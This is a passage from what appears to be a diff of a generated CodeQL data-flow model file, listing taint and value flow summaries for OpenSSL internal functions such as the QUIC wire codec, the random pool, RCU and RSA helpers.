"(PACKET *,uint64_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_max_data", "(PACKET *,uint64_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_max_stream_data", "(PACKET *,uint64_t *,uint64_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_max_stream_data", "(PACKET *,uint64_t *,uint64_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_max_streams", "(PACKET *,uint64_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_new_conn_id", "(PACKET *,OSSL_QUIC_FRAME_NEW_CONN_ID *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_new_token", "(PACKET *,const unsigned char **,size_t *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_new_token", "(PACKET *,const unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_new_token", "(PACKET *,const unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_path_challenge", "(PACKET *,uint64_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_path_response", "(PACKET *,uint64_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_reset_stream", "(PACKET *,OSSL_QUIC_FRAME_RESET_STREAM *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_retire_conn_id", "(PACKET *,uint64_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_stop_sending", "(PACKET *,OSSL_QUIC_FRAME_STOP_SENDING *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_stream", "(PACKET *,int,OSSL_QUIC_FRAME_STREAM *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_stream", "(PACKET *,int,OSSL_QUIC_FRAME_STREAM *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_stream_data_blocked", "(PACKET *,uint64_t *,uint64_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_stream_data_blocked", "(PACKET *,uint64_t *,uint64_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_streams_blocked", "(PACKET *,uint64_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_padding", "(PACKET *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_pkt_hdr", "(PACKET *,size_t,int,int,QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *,uint64_t *)", "", "Argument[*5].Field[*raw_sample]", "Argument[*5].Field[*raw_sample_len]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_decode_pkt_hdr", "(PACKET *,size_t,int,int,QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *,uint64_t *)", "", "Argument[2]", "Argument[*4].Field[*partial]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_decode_pkt_hdr", "(PACKET *,size_t,int,int,QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *,uint64_t *)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_decode_pkt_hdr_pn", "(const unsigned char *,size_t,QUIC_PN,QUIC_PN *)", "", "Argument[*0]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_decode_pkt_hdr_pn", "(const unsigned char *,size_t,QUIC_PN,QUIC_PN *)", "", "Argument[0]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_decode_pkt_hdr_pn", "(const unsigned char *,size_t,QUIC_PN,QUIC_PN *)", "", "Argument[1]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_decode_pkt_hdr_pn", "(const unsigned char *,size_t,QUIC_PN,QUIC_PN *)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_decode_transport_param_bytes", "(PACKET *,uint64_t *,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_transport_param_bytes", "(PACKET *,uint64_t *,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_transport_param_bytes", "(PACKET *,uint64_t *,size_t *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_transport_param_bytes", "(PACKET *,uint64_t *,size_t *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_transport_param_cid", "(PACKET *,uint64_t *,QUIC_CONN_ID *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_transport_param_cid", "(PACKET *,uint64_t *,QUIC_CONN_ID *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_transport_param_int", "(PACKET *,uint64_t *,uint64_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_transport_param_int", "(PACKET *,uint64_t *,uint64_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_transport_param_preferred_addr", "(PACKET *,QUIC_PREFERRED_ADDR *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_encode_frame_conn_close", "(WPACKET *,const OSSL_QUIC_FRAME_CONN_CLOSE *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_encode_frame_crypto", "(WPACKET *,const OSSL_QUIC_FRAME_CRYPTO *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_encode_frame_crypto", "(WPACKET *,const OSSL_QUIC_FRAME_CRYPTO *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_encode_frame_crypto", "(WPACKET *,const OSSL_QUIC_FRAME_CRYPTO *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_encode_frame_crypto", "(WPACKET *,const OSSL_QUIC_FRAME_CRYPTO *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_encode_frame_crypto", "(WPACKET *,const OSSL_QUIC_FRAME_CRYPTO *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_encode_frame_new_conn_id", "(WPACKET *,const OSSL_QUIC_FRAME_NEW_CONN_ID *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_encode_frame_new_token", "(WPACKET *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_encode_frame_stream", "(WPACKET *,const OSSL_QUIC_FRAME_STREAM *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_encode_frame_stream", "(WPACKET *,const OSSL_QUIC_FRAME_STREAM *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_encode_frame_stream", "(WPACKET *,const OSSL_QUIC_FRAME_STREAM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_encode_frame_stream", "(WPACKET *,const OSSL_QUIC_FRAME_STREAM *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_encode_frame_stream", "(WPACKET *,const OSSL_QUIC_FRAME_STREAM *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_encode_padding", "(WPACKET *,size_t)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_encode_pkt_hdr", "(WPACKET *,size_t,const QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *)", "", "Argument[*3].Field[*raw_sample]", "Argument[*3].Field[*raw_sample_len]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_encode_pkt_hdr_pn", "(QUIC_PN,unsigned char *,size_t)", "", "Argument[0]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_encode_transport_param_bytes", "(WPACKET *,uint64_t,const unsigned char *,size_t)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_encode_transport_param_bytes", "(WPACKET *,uint64_t,const unsigned char *,size_t)", "", "Argument[2]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_encode_transport_param_cid", "(WPACKET *,uint64_t,const QUIC_CONN_ID *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_get_encoded_pkt_hdr_len", "(size_t,const QUIC_PKT_HDR *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_get_pkt_hdr_dst_conn_id", "(const unsigned char *,size_t,size_t,QUIC_CONN_ID *)", "", "Argument[*0]", "Argument[*3].Field[*id]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_get_pkt_hdr_dst_conn_id", "(const unsigned char *,size_t,size_t,QUIC_CONN_ID *)", "", "Argument[*0]", "Argument[*3].Field[*id_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_get_pkt_hdr_dst_conn_id", "(const unsigned char *,size_t,size_t,QUIC_CONN_ID *)", "", "Argument[0]", "Argument[*3].Field[*id]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_get_pkt_hdr_dst_conn_id", "(const unsigned char *,size_t,size_t,QUIC_CONN_ID *)", "", "Argument[0]", "Argument[*3].Field[*id_len]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_get_pkt_hdr_dst_conn_id", "(const unsigned char *,size_t,size_t,QUIC_CONN_ID *)", "", "Argument[2]", "Argument[*3].Field[*id_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_peek_frame_ack_num_ranges", "(const PACKET *,uint64_t *)", "", "Argument[*0].Field[**curr]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_peek_frame_ack_num_ranges", "(const PACKET *,uint64_t *)", "", "Argument[*0].Field[*curr]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_peek_frame_ack_num_ranges", "(const PACKET *,uint64_t *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_peek_frame_header", "(PACKET *,uint64_t *,int *)", "", "Argument[*0].Field[**curr]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_peek_frame_header", "(PACKET *,uint64_t *,int *)", "", "Argument[*0].Field[*curr]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_peek_frame_header", "(PACKET *,uint64_t *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_peek_transport_param", "(PACKET *,uint64_t *)", "", "Argument[*0].Field[**curr]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_peek_transport_param", "(PACKET *,uint64_t *)", "", "Argument[*0].Field[*curr]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_peek_transport_param", "(PACKET *,uint64_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_skip_frame_header", "(PACKET *,uint64_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_write", "(SSL *,const void *,size_t,size_t *)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_write", "(SSL *,const void *,size_t,size_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_write_flags", "(SSL *,const void *,size_t,uint64_t,size_t *)", "", "Argument[2]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_write_flags", "(SSL *,const void *,size_t,uint64_t,size_t *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_cleanup_entropy", "(OSSL_LIB_CTX *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_rand_cleanup_user_entropy", "(OSSL_LIB_CTX *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_rand_drbg_new", "(void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[**1]", "ReturnValue[*].Field[***parent]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_drbg_new", "(void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[*0]", "ReturnValue[*].Field[**provctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_drbg_new", "(void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[*1]", "ReturnValue[*].Field[**parent]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_drbg_new", "(void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[0]", "ReturnValue[*].Field[*provctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_drbg_new", "(void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[1]", "ReturnValue[*].Field[*parent]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_drbg_new", "(void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_drbg_new", "(void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[5]", "ReturnValue[*].Field[*instantiate]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_drbg_new", "(void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[6]", "ReturnValue[*].Field[*uninstantiate]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_drbg_new", "(void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[7]", "ReturnValue[*].Field[*reseed]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_drbg_new", "(void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[8]", "ReturnValue[*].Field[*generate]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_get0_seed_noncreating", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_rand_get0_seed_noncreating", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_rand_get_nonce", "(OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t)", "", "Argument[*4]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_get_nonce", "(OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t)", "", "Argument[4]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_get_nonce", "(OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t)", "", "Argument[5]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_get_user_nonce", "(OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t)", "", "Argument[*4]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_get_user_nonce", "(OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_get_user_nonce", "(OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_get_user_nonce", "(OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t)", "", "Argument[4]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_get_user_nonce", "(OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t)", "", "Argument[5]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_add", "(RAND_POOL *,const unsigned char *,size_t,size_t)", "", "Argument[*1]", "Argument[*0].Field[**buffer]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_add", "(RAND_POOL *,const unsigned char *,size_t,size_t)", "", "Argument[1]", "Argument[*0].Field[**buffer]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_add", "(RAND_POOL *,const unsigned char *,size_t,size_t)", "", "Argument[2]", "Argument[*0].Field[*len]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_add", "(RAND_POOL *,const unsigned char *,size_t,size_t)", "", "Argument[3]", "Argument[*0].Field[*entropy]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_add_begin", "(RAND_POOL *,size_t)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_rand_pool_add_begin", "(RAND_POOL *,size_t)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_rand_pool_add_end", "(RAND_POOL *,size_t,size_t)", "", "Argument[1]", "Argument[*0].Field[*len]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_add_end", "(RAND_POOL *,size_t,size_t)", "", "Argument[2]", "Argument[*0].Field[*entropy]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_adin_mix_in", "(RAND_POOL *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**buffer]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_adin_mix_in", "(RAND_POOL *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**buffer]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_attach", "(const unsigned char *,size_t,size_t)", "", "Argument[*0]", "ReturnValue[*].Field[**buffer]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_attach", "(const unsigned char *,size_t,size_t)", "", "Argument[0]", "ReturnValue[*].Field[*buffer]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_attach", "(const unsigned char *,size_t,size_t)", "", "Argument[1]", "ReturnValue[*].Field[*alloc_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_attach", "(const unsigned char *,size_t,size_t)", "", "Argument[1]", "ReturnValue[*].Field[*len]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_attach", "(const unsigned char *,size_t,size_t)", "", "Argument[2]", "ReturnValue[*].Field[*entropy]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_buffer", "(RAND_POOL *)", "", "Argument[*0].Field[**buffer]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_buffer", "(RAND_POOL *)", "", "Argument[*0].Field[*buffer]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_bytes_needed", "(RAND_POOL *,unsigned int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_bytes_remaining", "(RAND_POOL *)", "", "Argument[*0].Field[*len]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_bytes_remaining", "(RAND_POOL *)", "", "Argument[*0].Field[*max_len]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_detach", "(RAND_POOL *)", "", "Argument[*0].Field[**buffer]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_detach", "(RAND_POOL *)", "", "Argument[*0].Field[*buffer]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_entropy", "(RAND_POOL *)", "", "Argument[*0].Field[*entropy]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_entropy_available", "(RAND_POOL *)", "", "Argument[*0].Field[*entropy]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_entropy_needed", "(RAND_POOL *)", "", "Argument[*0].Field[*entropy]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_entropy_needed", "(RAND_POOL *)", "", "Argument[*0].Field[*entropy_requested]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_length", "(RAND_POOL *)", "", "Argument[*0].Field[*len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_new", "(int,int,size_t,size_t)", "", "Argument[0]", "ReturnValue[*].Field[*entropy_requested]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_new", "(int,int,size_t,size_t)", "", "Argument[1]", "ReturnValue[*].Field[*secure]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_new", "(int,int,size_t,size_t)", "", "Argument[2]", "ReturnValue[*].Field[*alloc_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_new", "(int,int,size_t,size_t)", "", "Argument[2]", "ReturnValue[*].Field[*min_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_new", "(int,int,size_t,size_t)", "", "Argument[3]", "ReturnValue[*].Field[*alloc_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_new", "(int,int,size_t,size_t)", "", "Argument[3]", "ReturnValue[*].Field[*max_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_reattach", "(RAND_POOL *,unsigned char *)", "", "Argument[*1]", "Argument[*0].Field[**buffer]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_reattach", "(RAND_POOL *,unsigned char *)", "", "Argument[1]", "Argument[*0].Field[*buffer]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_range_uint32", "(OSSL_LIB_CTX *,uint32_t,uint32_t,int *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_range_uint32", "(OSSL_LIB_CTX *,uint32_t,uint32_t,int *)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_uniform_uint32", "(OSSL_LIB_CTX *,uint32_t,int *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_rcu_call", "(CRYPTO_RCU_LOCK *,rcu_cb_fn,void *)", "", "Argument[**2]", "Argument[*0].Field[**cb_items].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "ossl_rcu_call", "(CRYPTO_RCU_LOCK *,rcu_cb_fn,void *)", "", "Argument[*0].Field[**cb_items]", "Argument[*0].Field[**cb_items].Field[**next]", "value", "dfc-generated"] + - ["", "", True, "ossl_rcu_call", "(CRYPTO_RCU_LOCK *,rcu_cb_fn,void *)", "", "Argument[*0].Field[*cb_items]", "Argument[*0].Field[**cb_items].Field[*next]", "value", "dfc-generated"] + - ["", "", True, "ossl_rcu_call", "(CRYPTO_RCU_LOCK *,rcu_cb_fn,void *)", "", "Argument[*2]", "Argument[*0].Field[**cb_items].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_rcu_call", "(CRYPTO_RCU_LOCK *,rcu_cb_fn,void *)", "", "Argument[1]", "Argument[*0].Field[**cb_items].Field[*fn]", "value", "dfc-generated"] + - ["", "", True, "ossl_rcu_call", "(CRYPTO_RCU_LOCK *,rcu_cb_fn,void *)", "", "Argument[2]", "Argument[*0].Field[**cb_items].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "ossl_rcu_lock_new", "(int,OSSL_LIB_CTX *)", "", "Argument[*1]", "ReturnValue[*].Field[**ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_rcu_lock_new", "(int,OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*group_count]", "value", "dfc-generated"] + - ["", "", True, "ossl_rcu_lock_new", "(int,OSSL_LIB_CTX *)", "", "Argument[1]", "ReturnValue[*].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_rio_notifier_cleanup", "(RIO_NOTIFIER *)", "", "Argument[*0].Field[*wfd]", "Argument[*0].Field[*rfd]", "value", "dfc-generated"] + - ["", "", True, "ossl_rlayer_fatal", "(OSSL_RECORD_LAYER *,int,int,const char *,...)", "", "Argument[1]", "Argument[*0].Field[*alert]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_check_crt_components", "(const RSA *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_check_pminusq_diff", "(BIGNUM *,const BIGNUM *,const BIGNUM *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_check_pminusq_diff", "(BIGNUM *,const BIGNUM *,const BIGNUM *,int)", "", "Argument[*1]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ossl_rsa_check_pminusq_diff", "(BIGNUM *,const BIGNUM *,const BIGNUM *,int)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_check_pminusq_diff", "(BIGNUM *,const BIGNUM *,const BIGNUM *,int)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "ossl_rsa_check_prime_factor", "(BIGNUM *,BIGNUM *,int,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_dup", "(const RSA *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_fips186_4_gen_prob_primes", "(RSA *,void *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_fips186_4_gen_prob_primes", "(RSA *,void *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_fips186_4_gen_prob_primes", "(RSA *,void *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*4]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_fips186_4_gen_prob_primes", "(RSA *,void *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_fips186_4_gen_prob_primes", "(RSA *,void *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[2]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_fromdata", "(RSA *,const OSSL_PARAM[],int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_get0_all_params", "(RSA *,stack_st_BIGNUM_const *,stack_st_BIGNUM_const *,stack_st_BIGNUM_const *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get0_all_params", "(RSA *,stack_st_BIGNUM_const *,stack_st_BIGNUM_const *,stack_st_BIGNUM_const *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get0_all_params", "(RSA *,stack_st_BIGNUM_const *,stack_st_BIGNUM_const *,stack_st_BIGNUM_const *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get0_libctx", "(RSA *)", "", "Argument[*0].Field[**libctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_get0_libctx", "(RSA *)", "", "Argument[*0].Field[*libctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_get0_pss_params_30", "(RSA *)", "", 